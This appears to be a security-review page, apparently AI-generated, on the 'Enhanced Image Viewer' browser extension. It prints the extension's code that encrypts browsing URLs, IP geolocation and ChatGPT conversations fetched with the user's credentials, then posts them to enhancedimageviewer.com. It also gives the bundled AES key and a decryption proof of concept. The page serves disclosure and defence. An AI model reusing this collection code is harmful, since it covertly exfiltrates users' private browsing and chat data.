Is Enhanced Image Viewer safe?
Enhanced Image Viewer is high risk. Code analysis and a verification PoC show Enhanced Image Viewer stores the AES-GCM key for its telemetry inside the extension, using it before POSTing browsing, page, ChatGPT, device, and IP geolocation data to enhancedimageviewer.com.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Bundled AES key decrypts Enhanced Image Viewer telemetry
Code analysis and a verification PoC show Enhanced Image Viewer stores the AES-GCM key for its telemetry inside the extension, using it before POSTing browsing, page, ChatGPT, device, and IP geolocation data to enhancedimageviewer.com.
You browse with Enhanced Image Viewer installed.
The extension collects page navigation details and also handles ChatGPT conversation refreshes.
The extension encrypts telemetry with a key that is included in its own service worker.
The encrypted bytes are then posted to enhancedimageviewer.com stats endpoints.
| Field | Value | Why it matters | |
|---|---|---|---|
Your extension user ID | 3f8a1b2c-4d5e-6f7a-8b9c-0d1e2f3a4b5c | Lets the recipient tie multiple telemetry messages back to the same browser profile. | |
Visited page URL | https://en.wikipedia.org/wiki/Test_page | Shows the exact page address included in the browsing telemetry. | |
IP geolocation | ip: 1.2.3.4, city: London, country: GB | Shows network location details associated with the browsing telemetry. | |
Browser and device details | Chrome on Linux, en-US, 2026-04-18T03:43:05Z | Adds browser, operating system, language, and timing context to the telemetry record. | |
ChatGPT conversation fields | assistant: ChatGPT, conversationId, pairs | Identifies ChatGPT conversation records that the service worker prepares for the separate update-inter endpoint. |
| content-type | text/plain |
The shipped service worker contains the AES-GCM key, encryption routine, and stats POSTs
var BS = "mXmNqOSY72M1Vs0bbGg/CYaQ4zGspd9ab6uPHjxQ/cU=";
function Mo(r) {
return function() {
return crypto.subtle.importKey("raw", YS(BS), {
name: "AES-GCM"
}, !0, ["encrypt"]).catch(n => Promise.reject(n)).then(n => {
let t = crypto.getRandomValues(new Uint8Array(12));
return crypto.subtle.encrypt({
name: "AES-GCM",
iv: t
}, n, new TextEncoder().encode(r)).then(e => {
let a = new Uint8Array(t.length + e.byteLength);
return a.set(t), a.set(new Uint8Array(e), t.length), a
})
}).catch(n => Promise.reject(n))
}
}
function YS(r) {
let n = atob(r),
t = new Uint8Array(n.length);
for (let e = 0; e < n.length; e++) t[e] = n.charCodeAt(e);
return t.buffer
}VM = function(r) {
return Te("Error sending stats data")((function() {
var n = So(r.locationData.href) > 1e5,
t = r.locationData.protocol === "chrome-extension";
return ht(Wn("Error getting IP data from sync storage")(zn("ipGeoData")(en)))(function(e) {
return ht(Wn("Error checking if IP data is undefined: " + Ul(e))(PD(function(a) {
return gr(Wl(a))
})(Ra(CM(TM(e)("ipGeoData"))(Vn)))))(function(a) {
return fa(!n && !t && !a)(ht(qa)(function(o) {
return ht(Wn("Error reading foreign IP data: " + Ul(e))(PD(function(u) {
return gr(Wl(u))
})(xn(MM(e)))))(function(u) {
return ht(Wn("Error encrypting data to send: " + xM({
id: o,
collectedData: r,
ipGeoData: u.ipGeoData
}))(Mo(IM({
id: o,
collectedData: r,
ipGeoData: u.ipGeoData
}))))(function(c) {
return nu(Wn("Error sending encrypted data request")(Rh(_n + "/stats-api/update")({
method: "POST",
body: c,
headers: $a("content-type")("text/plain")
})))
})
})
}))
})
})
})())
}Ig = function(r) {
return function(n) {
return Rt("Error refreshing conversation")((function() {
var t = "https://chatgpt.com/backend-api/conversation/" + r;
return jr(Rt("Error fetching conversation after new message")(yg(t)({
headers: n,
credentials: X1
})))(function(e) {
return jr(Rt("Error reading conversation response text")(Ko(e)))(function(a) {
return Ag(Z1(Ga(e) !== 200)(na(gr("Got non-200 status when fetching conversation | Status: " + (Dl(Ga(e)) + (" | Response: " + a))))))(function() {
return jr(xn(bg("Error parsing conversation response | Response: " + a)(Li(function(o) {
return gr(gl(o))
})(rT(a)))))(function(o) {
return jr(Ri(cT))(function(u) {
return jr(iT)(function(c) {
var s = lT(o),
m = Mu(function(E) {
return u - E.timestamp < xg && !wv(E.assistantMessageId)(c)
})(s),
S = xc(m);
return S ? hl : jr(jr(Rt("Error getting IP data from sync storage")(zn("ipGeoData")(en)))((function() {
var E = bg("Error reading IP data"),
R = Li(gr),
Sr = Li(gl);
return function(pr) {
return xn(E(R(Sr(nT(pr)))))
}
})()))(function(E) {
return jr(qa)(function(R) {
return jr(Ri(Vo))(function(Sr) {
var pr = {
userId: R,
ipGeoData: E.ipGeoData,
userAgentData: Sr,
conversationId: o.conversation_id,
assistant: pT,
pairs: m
};
return jr(Rt("Error encrypting data to send")(Mo(tT(pr))))(function($r) {
return jr(Rt("Error sending encrypted data request")(yg(_n + "/stats-api/update-inter")({
method: "POST",
body: $r,
headers: $a("content-type")("text/plain")
})))(function() {
var Wt = Zg(rD(m)(function(Xr) {
return new K(Xr.assistantMessageId, Xr.timestamp)
})),
Ka = Mv(function(Xr) {
return u - Xr < xg
})(c);
return oT(Tv(Wt)(Ka))
})
})
})
})
})
})
})
})
})
})
})
})())
}
}- www.enhancedimageviewer.com
Receives encrypted stats-api/update browsing telemetry and stats-api/update-inter ChatGPT conversation telemetry.
- chatgpt.com
Source read by the extension when refreshing ChatGPT conversation data before preparing update-inter telemetry.
Decrypts an Enhanced Image Viewer stats payload that was encrypted by the bundled AES-GCM routine, or runs a self-test with the verified plaintext sample.
const { webcrypto } = require('crypto');
const subtle = webcrypto.subtle;
const KEY_B64 = 'mXmNqOSY72M1Vs0bbGg/CYaQ4zGspd9ab6uPHjxQ/cU=';
function keyBytes() {
return Buffer.from(KEY_B64, 'base64');
}
async function importKey() {
return subtle.importKey('raw', keyBytes(), { name: 'AES-GCM' }, false, ['encrypt', 'decrypt']);
}
async function encryptForSelfTest(plaintext) {
const key = await importKey();
const iv = Buffer.from('00112233445566778899aabb', 'hex');
const ciphertext = Buffer.from(await subtle.encrypt({ name: 'AES-GCM', iv }, key, Buffer.from(plaintext, 'utf8')));
return Buffer.concat([iv, ciphertext]);
}
async function decryptBody(body) {
if (body.length <= 12) {
throw new Error('Body must contain a 12-byte IV followed by AES-GCM ciphertext and tag.');
}
const key = await importKey();
const iv = body.subarray(0, 12);
const ciphertext = body.subarray(12);
const plaintext = Buffer.from(await subtle.decrypt({ name: 'AES-GCM', iv }, key, ciphertext));
return plaintext.toString('utf8');
}
async function readStdin() {
const chunks = [];
for await (const chunk of process.stdin) chunks.push(chunk);
return Buffer.concat(chunks);
}
async function main() {
if (process.argv.includes('--self-test')) {
const sample = JSON.stringify({
id: '3f8a1b2c-4d5e-6f7a-8b9c-0d1e2f3a4b5c',
collectedData: 'https://en.wikipedia.org/wiki/Test_page',
ipGeoData: { ip: '1.2.3.4', city: 'London', country: 'GB' }
});
const encrypted = await encryptForSelfTest(sample);
console.log(await decryptBody(encrypted));
return;
}
const body = await readStdin();
console.log(await decryptBody(body));
}
main().catch((error) => {
console.error(error.message);
process.exit(1);
});
- 1node enhanced-image-viewer-aes-gcm-decrypt.js --self-test OR node enhanced-image-viewer-aes-gcm-decrypt.js < captured-body.bin
What it can do
Permissions this extension asks for, as declared in version 6.18. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 6.21, which we have not unpacked yet.
Read and change your data on every site you visit
<all_urls>
Add items to the right-click menu
contextMenus
Store data in your browser
storage
See every page you navigate to, as you navigate to it
webNavigation
Watch every request your browser makes
webRequest
Run its own code inside the pages you visit
scripting
Block and redirect the requests your browser makes
declarativeNetRequest